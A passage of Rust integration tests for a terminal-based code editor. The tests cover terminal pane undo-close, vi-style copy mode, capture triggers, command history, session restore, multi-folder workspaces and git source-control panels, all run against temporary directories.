    assert_eq!(app.editor.lines[app.editor.cursor_row], "console.log()");
    assert_eq!(
        app.editor.cursor_col, 12,
        "the typed prefix is replaced and the caret lands at $1"
    );
}

#[test]
fn settings_view_toggle_flips_the_setting_and_stays_open() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let before = app.auto_close_pairs;
    app.open_settings_view();
    // The first row is "Auto Closing Pairs"; confirming it flips the value.
    app.confirm_list_picker();
    assert_eq!(
        app.auto_close_pairs, !before,
        "the toggle row flips the setting"
    );
    assert!(
        app.list_picker.is_some(),
        "a toggle keeps the settings hub open so more can be flipped"
    );
}

#[test]
fn undo_close_restores_a_closed_terminal_pane_with_its_process_alive() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let mk = || {
        crate::widgets::terminal::PtyTerminal::new_running(
            "/bin/sh",
            &[
                String::from("-c"),
                String::from("read x; echo revived-$x; sleep 30"),
            ],
            tmp.path(),
        )
        .unwrap()
    };
    app.terminals[0] = mk();
    app.terminals.push(mk());
    app.terminals[1].set_manual_name(Some(String::from("keepme")));
    app.active_terminal = 1;
    app.focus_pane(Pane::Terminal);

    assert!(app.close_active_terminal());
    assert_eq!(app.terminals.len(), 1);

    // Cmd+K Shift+T brings the pane back: same slot, same name, and the
    // child process never died in the grace window.
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('T'), KeyModifiers::SHIFT)));
    assert_eq!(app.terminals.len(), 2, "undo close must restore the pane");
    assert_eq!(app.terminals[1].label(), "keepme");
    assert_eq!(app.active_terminal, 1, "the restored pane takes focus");
    app.terminals[1].write_input(b"back\n");
    // The same operation and the same old constant as the wait in
    // `terminal_session_restores_pane_layout_names_and_focus_across_restarts`:
    // a shell echoing one line, waited on under whatever load the suite is
    // running. Same 2s base, so the same 8s floor.
    crate::test_budget::await_spawned(
        crate::test_budget::tests::RESTORED_SHELL_BASE,
        "the reopened pane's shell to answer",
        || {
            app.terminals[1]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("revived-back"))
        },
    );

    // Past the grace window the parked pane is dropped for real: the tick
    // reaps it and undo has nothing left to restore.
    assert!(app.close_active_terminal());
    for parked in &mut app.closed_terminals {
        parked.closed_at =
            std::time::Instant::now() - UNDO_CLOSE_GRACE - std::time::Duration::from_secs(1);
    }
    app.drain_terminal_bells();
    assert!(
        app.closed_terminals.is_empty(),
        "expired parked panes must be reaped by the tick"
    );
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('T'), KeyModifiers::SHIFT)));
    assert_eq!(app.terminals.len(), 1, "nothing to restore after expiry");
}

#[test]
fn copy_mode_navigates_scrollback_with_vi_keys_and_copies_char_line_and_block() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Row 0 is the deterministic `▶ …` run-label header; the printf rows
    // land on rows 1..=3. Lines are short so nothing wraps at 80 cols.
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            // Sentinels are assembled at runtime so the pane's `▶ …` header
            // (which echoes the command text) can never match the waits.
            String::from("x=a; y=b; z=c; printf \"${x}aaa1\\n${y}bbb2\\n${z}cc3\\n\"; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the pane output \"ccc3\"",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("ccc3"))
        },
    );
    let enter_copy_mode = key(
        KeyCode::Char('y'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    );
    let press = |app: &mut App, code: KeyCode| {
        app.handle_terminal_key(key(code, KeyModifiers::NONE));
    };
    // The header may wrap, so locate "aaaa1" by content: its distance from
    // the grid top is the number of j presses after g.
    let (lines, top) = app.terminals[0].grid_lines();
    let hops = lines
        .iter()
        .position(|l| l.starts_with("aaaa1"))
        .expect("printf output must be on the grid");
    assert!(top <= 0, "no scrollback expected in this tiny session");
    let down = |app: &mut App, n: usize| {
        for _ in 0..n {
            app.handle_terminal_key(key(KeyCode::Char('j'), KeyModifiers::NONE));
        }
    };

    // Char selection: g to the grid top, j down to "aaaa1", v at col 0,
    // $ to the line's last glyph, y copies and leaves copy mode.
    app.handle_terminal_key(enter_copy_mode);
    assert!(
        app.terminal_copy_mode.is_some(),
        "Ctrl+Shift+Y must enter copy mode"
    );
    press(&mut app, KeyCode::Char('g'));
    down(&mut app, hops);
    press(&mut app, KeyCode::Char('0'));
    press(&mut app, KeyCode::Char('v'));
    press(&mut app, KeyCode::Char('$'));
    press(&mut app, KeyCode::Char('y'));
    assert_eq!(
        crate::clipboard::read_string().unwrap_or_default(),
        "aaaa1",
        "v + $ + y must copy the whole first output line"
    );
    assert!(app.terminal_copy_mode.is_none(), "y exits copy mode");

    // Line selection: V spans full rows regardless of cursor column.
    app.handle_terminal_key(enter_copy_mode);
    press(&mut app, KeyCode::Char('g'));
    down(&mut app, hops);
    press(&mut app, KeyCode::Char('l'));
    press(&mut app, KeyCode::Char('l'));
    press(&mut app, KeyCode::Char('V'));
    press(&mut app, KeyCode::Char('j'));
    press(&mut app, KeyCode::Char('y'));
    assert_eq!(
        crate::clipboard::read_string().unwrap_or_default(),
        "aaaa1\nbbbb2",
        "V + j + y must copy both full lines"
    );

    // Block selection: a 2-wide, 3-tall rectangle from the output rows.
    app.handle_terminal_key(enter_copy_mode);
    press(&mut app, KeyCode::Char('g'));
    down(&mut app, hops);
    press(&mut app, KeyCode::Char('0'));
    app.handle_terminal_key(key(KeyCode::Char('v'), KeyModifiers::CONTROL));
    press(&mut app, KeyCode::Char('j'));
    press(&mut app, KeyCode::Char('j'));
    press(&mut app, KeyCode::Char('l'));
    press(&mut app, KeyCode::Char('y'));
    assert_eq!(
        crate::clipboard::read_string().unwrap_or_default(),
        "aa\nbb\ncc",
        "Ctrl+V must cut a rectangular column slice"
    );

    // Esc exits and drops the highlight.
    app.handle_terminal_key(enter_copy_mode);
    press(&mut app, KeyCode::Char('v'));
    press(&mut app, KeyCode::Esc);
    assert!(app.terminal_copy_mode.is_none(), "Esc exits copy mode");
    assert!(
        app.terminals[0].selection().is_none(),
        "leaving copy mode must clear the selection highlight"
    );
}

#[test]
fn capture_triggers_collect_into_the_captures_panel_and_jump_to_the_line() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.triggers = std::sync::Arc::new(crate::triggers::TriggerSet::from_json(
        r#"[ { "regex": "err-(\\d+)", "action": "capture", "message": "boom \\1" } ]"#,
    ));
    // Read-gated so the drain tick pushes the trigger set into the pane
    // before the matching line prints; the sentinel is assembled at runtime
    // so the `▶ …` header can never fire the trigger itself.
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("read x; e=err; echo ${e}-7 broke; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.drain_terminal_bells();
    app.terminals[0].write_input(b"\n");
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the error line to be captured",
        || {
            app.drain_terminal_bells();
            !app.captures.is_empty()
        },
    );
    let entry = app.captures.selected_entry().expect("one capture");
    assert_eq!(entry.message, "boom 7");
    assert!(
        entry.line.contains("err-7 broke"),
        "the whole line is kept: {:?}",
        entry.line
    );

    // Enter on the row jumps back to the pane and selects the matched line.
    app.captures_open_selected();
    assert_eq!(app.bottom_panel_tab, BottomPanelTab::Terminal);
    let sel = app.terminals[0].selection_text();
    assert!(
        sel.contains("err-7 broke"),
        "jump must land the selection on the captured line, got {sel:?}"
    );

    // `n` asks the Navigator about the line (#372); with none seated it
    // says so rather than doing nothing, and the palette carries the same
    // command.
    app.ask_navigator_about_capture();
    assert!(
        app.status.to_lowercase().contains("not active"),
        "{}",
        app.status
    );
    assert!(
        crate::widgets::command_palette::ALL_COMMANDS
            .contains(&crate::widgets::command_palette::Command::AskNavigatorAboutCapture)
    );
    assert_eq!(
        crate::widgets::command_palette::Command::AskNavigatorAboutCapture.id(),
        "captures_ask_navigator"
    );
}

#[test]
fn finished_commands_land_in_durable_history_and_the_popup_types_them() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Point the store at the tempdir so tests never touch the real file.
    app.command_history =
        crate::command_history::CommandHistory::load(&tmp.path().join("hist.jsonl"));
    // Full OSC 133 marks around a fake command (B → command text → C →
    // 1s of "runtime" → D;0), then a read so the popup's Enter-typed
    // bytes are observable through the shell.
    let script = "printf '\\033]133;A\\007$ \\033]133;B\\007kubectl get pods\\n\\033]133;C\\007'; sleep 1; printf 'out\\n\\033]133;D;0\\007'; read x; echo typed-$x; sleep 30";
    // The marks are stamped when the reader thread PARSES them, not when
    // the child wrote them. Under suite load a late pickup shrinks the
    // measured gap (#65), and in the extreme the reader is descheduled
    // across the WHOLE sleep: both marks then coalesce into one read and
    // the arrival-time measurement honestly collapses to ~0 (#154) — the
    // true gap is unrecoverable from coalesced bytes. So the C→D floor is
    // asserted per attempt, retrying the collapse class a bounded number
    // of times: a real wrong-span bug fails every attempt deterministically,
    // while three consecutive full-second deschedules do not happen.
    let mut entry = None;
    for attempt in 0..3 {
        app.command_history.entries.clear();
        app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
            "/bin/sh",
            &[String::from("-c"), String::from(script)],
            tmp.path(),
        )
        .unwrap();
        crate::test_budget::await_spawned(
            crate::test_budget::tests::SHELL_PAINT_BASE,
            "the finished command to reach the history store",
            || {
                app.drain_terminal_bells();
                !app.command_history.is_empty()
            },
        );
        let e = app.command_history.entries[0].clone();
        assert_eq!(
            e.cmd, "kubectl get pods",
            "the typed text travels with the completion"
        );
        assert_eq!(e.exit, Some(0));
        if e.dur_ms >= 500 {
            entry = Some(e);
            break;
        }
        assert!(
            attempt < 2,
            "duration must cover the C→D gap on some attempt; every run measured under 500ms (last: {})",
            e.dur_ms
        );
    }
    let e = entry.expect("an attempt produced a full-gap measurement");
    let _ = e;

    // The popup searches the store and Enter types the pick at the prompt.
    app.focus_pane(Pane::Terminal);
    app.handle_terminal_key(key(
        KeyCode::Char('h'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    ));
    assert!(
        app.command_history_popup.is_some(),
        "Ctrl+Shift+H must open the history popup"
    );
    for c in "pods".chars() {
        app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
            .unwrap();
    }
    let picked = app
        .command_history_popup
        .as_ref()
        .and_then(|p| p.selected_entry())
        .map(|e| e.cmd.clone());
    assert_eq!(picked.as_deref(), Some("kubectl get pods"));
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.command_history_popup.is_none(),
        "Enter closes the popup"
    );
    app.terminals[0].write_input(b"\n");
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the typed command to reach the shell",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("typed-kubectl get pods"))
        },
    );
}

#[test]
fn terminal_session_restores_pane_layout_names_and_focus_across_restarts() {
    let tmp = tempfile::tempdir().unwrap();
    let session_path = tmp.path().join("sessions.json");
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminal_session_path = session_path.clone();
    app.split_terminal().unwrap();
    app.terminals[1].set_manual_name(Some(String::from("srv")));
    app.active_terminal = 1;
    app.save_terminal_session();
    let raw = std::fs::read_to_string(&session_path).unwrap();
    assert!(
        raw.contains("srv"),
        "the session file records pane names: {raw}"
    );

    // A fresh app on the same workspace resurrects the layout.
    let mut app2 = App::new(tmp.path().to_path_buf()).unwrap();
    app2.terminal_session_path = session_path.clone();
    app2.restore_terminal_session();
    assert_eq!(app2.terminals.len(), 2, "both panes come back");
    assert_eq!(app2.terminals[1].label(), "srv", "names survive");
    assert_eq!(
        app2.active_terminal, 1,
        "focus lands on the pane that had it"
    );
    // The restored pane runs a live shell.
    app2.terminals[1].write_input(b"s=ali; echo ${s}ve-42\n");
    // Load-scaled, not a fixed 8000ms: what blows a wait on a spawned shell
    // is contention, which is a property of what else the suite is doing
    // rather than of this test, and `test_budget` is where that reasoning
    // already lives (#307/#422).
    //
    // `await_spawned` multiplies the base by `BASE_CALIBRATION * load_scale`,
    // which that module's own test pins at 4 at MIN_SCALE and 8 at the cap.
    // A 2s base is therefore 8s at the floor and 16s at the cap: the 8000ms
    // this replaces is what the wait KEEPS on a quiet machine, and load buys
    // more on top. The floor is the point - `MIN_SCALE`'s own doc says it may
    // never shrink below the budgets these tests already had, since every one
    // of them was observed failing at 1x.
    crate::test_budget::await_spawned(
        crate::test_budget::tests::RESTORED_SHELL_BASE,
        "the restored pane's shell to answer",
        || {
            app2.terminals[1]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("alive-42"))
        },
    );

    // Closing back down to one default pane prunes the record, so a plain
    // single-shell workspace never grows the file.
    app2.terminals[1].set_manual_name(None);
    assert!(app2.close_terminal_at(1));
    app2.save_terminal_session();
    let map = crate::terminal_session::load(&session_path);
    assert!(
        !map.contains_key(&tmp.path().display().to_string()),
        "a trivial session (one unnamed pane at the root) is pruned"
    );
}

#[test]
fn opening_a_workspace_file_installs_its_exact_folder_set() {
    // #163: an explicitly opened .code-workspace defines the arrangement
    // exactly — the automatic per-primary store is not merged in.
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("alpha");
    let b = tmp.path().join("beta");
    let c = tmp.path().join("gamma");
    for d in [&a, &b, &c] {
        std::fs::create_dir(d).unwrap();
    }
    let file = tmp.path().join("proj.code-workspace");
    crate::workspace::write_workspace_file(&file, &[b.clone(), c.clone()]).unwrap();

    let mut app = App::new(a.clone()).unwrap();
    // Poison the auto-store for primary B with a DIFFERENT folder: the
    // file must win, so alpha never joins.
    let b_canon = b.canonicalize().unwrap();
    crate::workspace::save_folders_for_root(
        &app.workspace_folders_path.clone(),
        &b_canon.display().to_string(),
        vec![a.clone()],
    )
    .unwrap();

    app.open_workspace_file(&file);

    let roots: Vec<PathBuf> = app.roots.iter().map(Path::to_path_buf).collect();
    assert_eq!(
        app.workspace_root(),
        b_canon,
        "first folder becomes primary"
    );
    assert!(
        roots.contains(&c.canonicalize().unwrap()),
        "the file's second folder joins: {roots:?}"
    );
    assert!(
        !roots.contains(&a.canonicalize().unwrap()),
        "the auto-store's folder does NOT merge in: {roots:?}"
    );

    // Save Workspace As round-trips the live set through the prompt path.
    let dest = tmp.path().join("saved.code-workspace");
    use crate::widgets::input_prompt::{InputPrompt, InputPurpose};
    app.open_input_prompt(
        InputPrompt::new(
            InputPurpose::SaveWorkspaceAs,
            String::from("Save Workspace As"),
            "",
        )
        .with_value(dest.display().to_string()),
    );
    app.submit_input_prompt();
    let saved = crate::workspace::parse_workspace_file(&dest).unwrap();
    assert_eq!(saved, roots, "the saved file names the live folder set");

    // A malformed file refuses with the error in the status.
    let bad = tmp.path().join("bad.code-workspace");
    std::fs::write(&bad, "{ nope").unwrap();
    let before: Vec<PathBuf> = app.roots.iter().map(Path::to_path_buf).collect();
    app.open_workspace_file(&bad);
    assert!(app.status.starts_with("Workspace file:"), "{}", app.status);
    let after: Vec<PathBuf> = app.roots.iter().map(Path::to_path_buf).collect();
    assert_eq!(before, after, "a bad file changes nothing");
}

#[test]
fn workspace_folder_set_persists_across_sessions_and_reroots() {
    // #153: the folder set lived only in memory — reopening the same
    // workspace came back single-folder.
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a");
    let b = tmp.path().join("b");
    let c = tmp.path().join("c");
    std::fs::create_dir(&a).unwrap();
    std::fs::create_dir(&b).unwrap();
    std::fs::create_dir(&c).unwrap();
    let store = tmp.path().join("folders.json");

    let mut app = App::new(a.clone()).unwrap();
    app.workspace_folders_path = store.clone();
    app.add_workspace_folder(b.clone());
    app.add_workspace_folder(c.clone());

    // A fresh session on the same primary restores the arrangement.
    let mut app2 = App::new(a.clone()).unwrap();
    app2.workspace_folders_path = store.clone();
    app2.restore_workspace_folders();
    let b_canon = b.canonicalize().unwrap();
    let c_canon = c.canonicalize().unwrap();
    let roots: Vec<PathBuf> = app2.roots.iter().map(Path::to_path_buf).collect();
    assert!(
        roots.contains(&b_canon) && roots.contains(&c_canon),
        "both folders come back: {roots:?}"
    );

    // A vanished folder is dropped from the record, not restored.
    std::fs::remove_dir_all(&c).unwrap();
    let mut app3 = App::new(a.clone()).unwrap();
    app3.workspace_folders_path = store.clone();
    app3.restore_workspace_folders();
    let roots: Vec<PathBuf> = app3.roots.iter().map(Path::to_path_buf).collect();
    assert!(roots.contains(&b_canon) && !roots.contains(&c_canon));
    let map = crate::workspace::load_folders(&store);
    assert_eq!(
        map.get(&a.display().to_string()),
        Some(&vec![b_canon.clone()]),
        "the record rewrites to what survived"
    );

    // Removing the last secondary folder prunes the key.
    app3.remove_workspace_folder(b_canon.clone());
    assert!(
        !crate::workspace::load_folders(&store).contains_key(&a.display().to_string()),
        "a single-folder workspace never lingers in the store"
    );

    // Re-rooting into a workspace with a saved set restores it.
    crate::workspace::save_folders_for_root(
        &store,
        &b_canon.display().to_string(),
        vec![a.clone()],
    )
    .unwrap();
    app3.change_workspace_root(b_canon.clone());
    let roots: Vec<PathBuf> = app3.roots.iter().map(Path::to_path_buf).collect();
    assert!(
        roots.contains(&a.canonicalize().unwrap()),
        "the new primary's saved folders come back with the re-root: {roots:?}"
    );
}

#[test]
fn focusing_a_secondary_roots_file_rebinds_the_test_runner_and_tasks() {
    // #151: the runner gate and the worker resolved against the primary
    // only — from a secondary folder's file, Run All refused with "no
    // test runner" even when that folder is a cargo project.
    let tmp = tempfile::tempdir().unwrap();
    let plain = tmp.path().join("plain");
    let proj = tmp.path().join("proj");
    std::fs::create_dir(&plain).unwrap();
    std::fs::create_dir_all(proj.join("src")).unwrap();
    std::fs::write(
        proj.join("Cargo.toml"),
        "[package]\nname = \"proj\"\nversion = \"0.0.1\"\nedition = \"2021\"\n",
    )
    .unwrap();
    std::fs::write(
        proj.join("src/main.rs"),
        "fn main() {}\n#[test]\nfn proj_truth() {}\n",
    )
    .unwrap();
    std::fs::write(proj.join("Makefile"), "build:\n\techo hi\n").unwrap();

    let mut app = App::new(plain.clone()).unwrap();
    app.add_workspace_folder(proj.clone());
    let proj_canon = proj.canonicalize().unwrap();

    // Primary focused: no runner, the gate refuses.
    app.status.clear();
    app.run_all_tests();
    assert_eq!(app.status, crate::testing::NO_RUNNER_STATUS);

    // Focus the cargo project's file: the follow tick rebinds the
    // Testing stack and the gate passes.
    app.editor
        .open_pinned(&proj_canon.join("src/main.rs"))
        .unwrap();
    let _ = app.drain_git_responses();
    assert_eq!(
        app.active_test_root, proj_canon,
        "the Testing stack follows"
    );
    app.status.clear();
    app.run_all_tests();
    assert_ne!(
        app.status,
        crate::testing::NO_RUNNER_STATUS,
        "the secondary folder's cargo runner is found"
    );

    // The open-Testing-view path discovers against the active folder:
    // this is the exact live sequence, and the discovery gate had its own
    // primary-root check the entry-point gates didn't cover.
    app.open_testing_view();
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(120);
    loop {
        let _ = app.test_worker.drain(&mut app.testing);
        if app
            .testing
            .cases_for_test()
            .iter()
            .any(|(name, _)| name.contains("proj_truth"))
        {
            break;
        }
        assert!(
            std::time::Instant::now() < deadline,
            "discovery never returned the secondary project's tests; cases: {:?}",
            app.testing.cases_for_test()
        );
        std::thread::sleep(std::time::Duration::from_millis(50));
    }

    // Drain the discovery's Finished before running: breaking out on the
    // first case leaves the panel busy, and run_all_tests refuses while a
    // discovery is in flight.
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(30);
    while app.testing.is_busy() {
        let _ = app.test_worker.drain(&mut app.testing);
        assert!(
            std::time::Instant::now() < deadline,
            "discovery never reported Finished"
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }

    // And a full RUN executes in that folder: the case must go green,
    // which only happens if cargo built and ran the secondary project.
    app.run_all_tests();
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(120);
    loop {
        let _ = app.test_worker.drain(&mut app.testing);
        if app.testing.cases_for_test().iter().any(|(name, status)| {
            name.contains("proj_truth") && *status == crate::testing::model::TestStatus::Passed
        }) {
            break;
        }
        assert!(
            std::time::Instant::now() < deadline,
            "the secondary project's test never passed; cases: {:?}",
            app.testing.cases_for_test()
        );
        std::thread::sleep(std::time::Duration::from_millis(50));
    }

    // Tasks discover against the active folder too.
    let tasks = crate::tasks::discover_tasks(&app.active_workspace_root());
    assert!(
        tasks.iter().any(|t| t.command.contains("make")),
        "the secondary folder's Makefile tasks are offered: {:?}",
        tasks.iter().map(|t| t.command.clone()).collect::<Vec<_>>()
    );
}

#[test]
fn repositories_overview_lists_every_folder_and_a_pin_overrides_the_follow() {
    // #161: with several folders open, the panel shows a REPOSITORIES
    // overview and a clicked row pins the panel until focus crosses
    // folders again.
    let tmp = tempfile::tempdir().unwrap();
    let mk_repo = |name: &str, branch: &str| {
        let dir = tmp.path().join(name);
        std::fs::create_dir(&dir).unwrap();
        for args in [
            vec!["init", "-q", "-b", branch],
            vec!["config", "user.email", "a@b"],
            vec!["config", "user.name", "a"],
        ] {
            assert!(
                std::process::Command::new("git")
                    .args(["-C"])
                    .arg(&dir)
                    .args(&args)
                    .status()
                    .map(|s| s.success())
                    .unwrap_or(false),
                "git setup failed: {args:?}"
            );
        }
        std::fs::write(dir.join("f.txt"), "x\n").unwrap();
        dir
    };
    let a = mk_repo("repa", "main");
    let b = mk_repo("repb", "trunk");

    let mut app = App::new(a.clone()).unwrap();
    app.add_workspace_folder(b.clone());
    let b_canon = b.canonicalize().unwrap();

    // Both workers report their repos; the per-frame sync builds the rows.
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(15);
    loop {
        let _ = app.drain_git_responses();
        app.sync_focus_flags();
        let rows = &app.source_control.repositories;
        if rows.len() == 2
            && rows.iter().any(|r| r.branch.as_deref() == Some("main"))
            && rows.iter().any(|r| r.branch.as_deref() == Some("trunk"))
        {
            break;
        }
        assert!(
            std::time::Instant::now() < deadline,
            "overview rows never filled: {:?}",
            rows
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert!(
        app.source_control
            .repositories
            .iter()
            .all(|r| r.changes >= 1),
        "EVERY repository's untracked file shows in its change count: {:?}",
        app.source_control.repositories
    );

    // Anchor the focus in folder A first, then pin B: the pin wins for
    // as long as the focus stays inside A (further A files included).
    //
    // Compare against the root in the form the workspace holds it, not a
    // canonicalised one: `App::new` stores the primary root verbatim, and
    // on macOS a tempdir arrives as `/var/…` for a `/private/var/…`
    // directory. The app is self-consistent — the follow root derives from
    // the same workspace roots — so canonicalising only this side compares
    // two spellings of one path and fails everywhere `/var` is a symlink.
    let a_root = app
        .roots
        .iter()
        .find(|r| r.ends_with("repa"))
        .expect("folder A is in the workspace")
        .to_path_buf();
    app.editor.open_pinned(&a.join("f.txt")).unwrap();
    let _ = app.drain_git_responses();
    assert_eq!(app.active_scm_root, a_root);
    app.scm_pin = Some(b_canon.clone());
    let _ = app.drain_git_responses();
    assert_eq!(
        app.active_scm_root, b_canon,
        "the pin wins while focus stays put"
    );

    // CROSSING folders with the focus releases the pin: land in B (the
    // follow now agrees with the pinned repo), then back to A — the
    // panel follows again.
    app.editor.open_pinned(&b_canon.join("f.txt")).unwrap();
    let _ = app.drain_git_responses();
    assert!(
        app.scm_pin.is_none(),
        "the cross-folder focus released the pin"
    );
    app.editor.open_pinned(&a.join("f.txt")).unwrap();
    let _ = app.drain_git_responses();
    assert_eq!(
        app.active_scm_root, a_root,
        "after release the panel follows the focus again"
    );
}

#[test]
fn tab_strip_renders_disambiguated_titles_for_colliding_names() {
    // #167 end-to-end: two same-named files from different folders must
    // paint distinguishable tab titles in the real strip.
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("alpha");
    let b = tmp.path().join("beta");
    std::fs::create_dir(&a).unwrap();
    std::fs::create_dir(&b).unwrap();
    std::fs::write(a.join("main.rs"), "a\n").unwrap();
    std::fs::write(b.join("main.rs"), "b\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // The QUICK OPEN path (preview tab, pinned by an edit, then a second
    // preview) — the live gesture, which must disambiguate exactly like
    // two pinned opens.
    app.editor.open_preview(&a.join("main.rs")).unwrap();
    app.editor.insert_char('x');
    app.editor.open_preview(&b.join("main.rs")).unwrap();
    assert_eq!(app.editor.iter_tabs().count(), 2, "two tabs");

    let backend = ratatui::backend::TestBackend::new(120, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let buf = term.backend().buffer().clone();
    let strip_y = app.editor.tab_strip_y_for_test();
    let row: String = (0..buf.area.width)
        .map(|x| buf[(x, strip_y)].symbol().to_string())
        .collect();
    assert!(
        row.contains("main.rs — alpha") && row.contains("main.rs — beta"),
        "the strip paints the disambiguated titles: {row}"
    );
}

#[test]
fn clicking_a_repositories_overview_row_switches_the_panel() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mk_repo = |name: &str, branch: &str| {
        let dir = tmp.path().join(name);
        std::fs::create_dir(&dir).unwrap();
        for args in [
            vec!["init", "-q", "-b", branch],
            vec!["config", "user.email", "a@b"],
            vec!["config", "user.name", "a"],
        ] {
            assert!(
                std::process::Command::new("git")
                    .args(["-C"])
                    .arg(&dir)
                    .args(&args)
                    .status()
                    .map(|s| s.success())
                    .unwrap_or(false),
            );
        }
        std::fs::write(dir.join("f.txt"), "x\n").unwrap();
        dir
    };
    let a = mk_repo("repa", "main");
    let b = mk_repo("repb", "trunk");
    let mut app = App::new(a.clone()).unwrap();
    app.add_workspace_folder(b.clone());
    let b_canon = b.canonicalize().unwrap();
    app.set_sidebar_view(SidebarView::SourceControl);

    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(15);
    loop {
        let _ = app.drain_git_responses();
        app.sync_focus_flags();
        term.draw(|frame| app.render(frame)).unwrap();
        if app.source_control.repo_row_areas.len() == 2 {
            break;
        }
        assert!(
            std::time::Instant::now() < deadline,
            "overview rows never rendered; rows: {:?}",
            app.source_control.repositories
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    let (rect, root) = app.source_control.repo_row_areas[1].clone();
    assert_eq!(root, b_canon);

    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        rect.x + 2,
        rect.y,
    ));
    let _ = app.drain_git_responses();
    assert_eq!(
        app.active_scm_root, b_canon,
        "the click pins the panel to the second repository"
    );
    assert_eq!(app.scm_pin.as_deref(), Some(b_canon.as_path()));
}

#[test]
fn focusing_a_secondary_roots_file_flips_source_control_to_its_repo() {
    // #149: git state was singular (one worker at the primary), so a
    // secondary root's repository was invisible — no branch, no panel
    // entries, no scm_root for its operations.
    let tmp = tempfile::tempdir().unwrap();
    let plain = tmp.path().join("plain");
    let repo = tmp.path().join("repo");
    std::fs::create_dir(&plain).unwrap();
    std::fs::create_dir(&repo).unwrap();
    for args in [
        vec!["init", "-q", "-b", "trunk"],
        vec!["config", "user.email", "a@b"],
        vec!["config", "user.name", "a"],
    ] {
        let ok = std::process::Command::new("git")
            .args(["-C"])
            .arg(&repo)
            .args(&args)
            .status()
            .map(|s| s.success())
            .unwrap_or(false);
        assert!(ok, "git setup step failed: {args:?}");
    }
    std::fs::write(repo.join("seed.txt"), "one\n").unwrap();
    for args in [vec!["add", "."], vec!["commit", "-qm", "init"]] {
        let ok = std::process::Command::new("git")
            .args(["-C"])
            .arg(&repo)
            .args(&args)
            .status()
            .map(|s| s.success())
            .unwrap_or(false);
        assert!(ok, "git setup step failed: {args:?}");
    }
    std::fs::write(repo.join("seed.txt"), "one\ntwo\n").unwrap();

    // Primary is NOT a repo; the repo joins as a secondary folder.
    let mut app = App::new(plain.clone()).unwrap();
    app.add_workspace_folder(repo.clone());
    let repo_canon = repo.canonicalize().unwrap();

    // Focus the secondary root's file: the SCM surfaces must follow.
    app.editor
        .open_pinned(&repo_canon.join("seed.txt"))
        .unwrap();
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(15);
    let mut flipped = false;
    while std::time::Instant::now() < deadline {
        let _ = app.drain_git_responses();
        if app.source_control.status.branch.as_deref() == Some("trunk")
            && app
                .source_control
                .entries
                .iter()
                .any(|e| e.path == "seed.txt")
        {
            flipped = true;
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert!(
        flipped,
        "the panel must show the secondary root's repo (branch + changes); saw {:?} / {:?}",
        app.source_control.status.branch,
        app.source_control
            .entries
            .iter()
            .map(|e| e.path.clone())
            .collect::<Vec<_>>()
    );
    assert_eq!(
        app.scm_root().canonicalize().unwrap(),
        repo_canon,
        "panel operations address the active repo's toplevel"
    );

    // The mutation path must hit the SAME repository the panel shows
    // (#150 review: staging addressed the active repo while commit still
    // ran against the primary — stage in B, commit in A).
    app.stage_all_source_control();
    app.source_control.message = String::from("from the panel");
    app.commit_staged_source_control();
    let log = std::process::Command::new("git")
        .args(["-C"])
        .arg(&repo)
        .args(["log", "--oneline"])
        .output()
        .unwrap();
    assert!(log.status.success());
    assert!(
        String::from_utf8_lossy(&log.stdout).contains("from the panel"),
        "the commit lands in the ACTIVE repo, the one the panel shows"
    );
}

#[test]
fn add_and_remove_workspace_folder_fan_out_across_tree_index_and_search() {
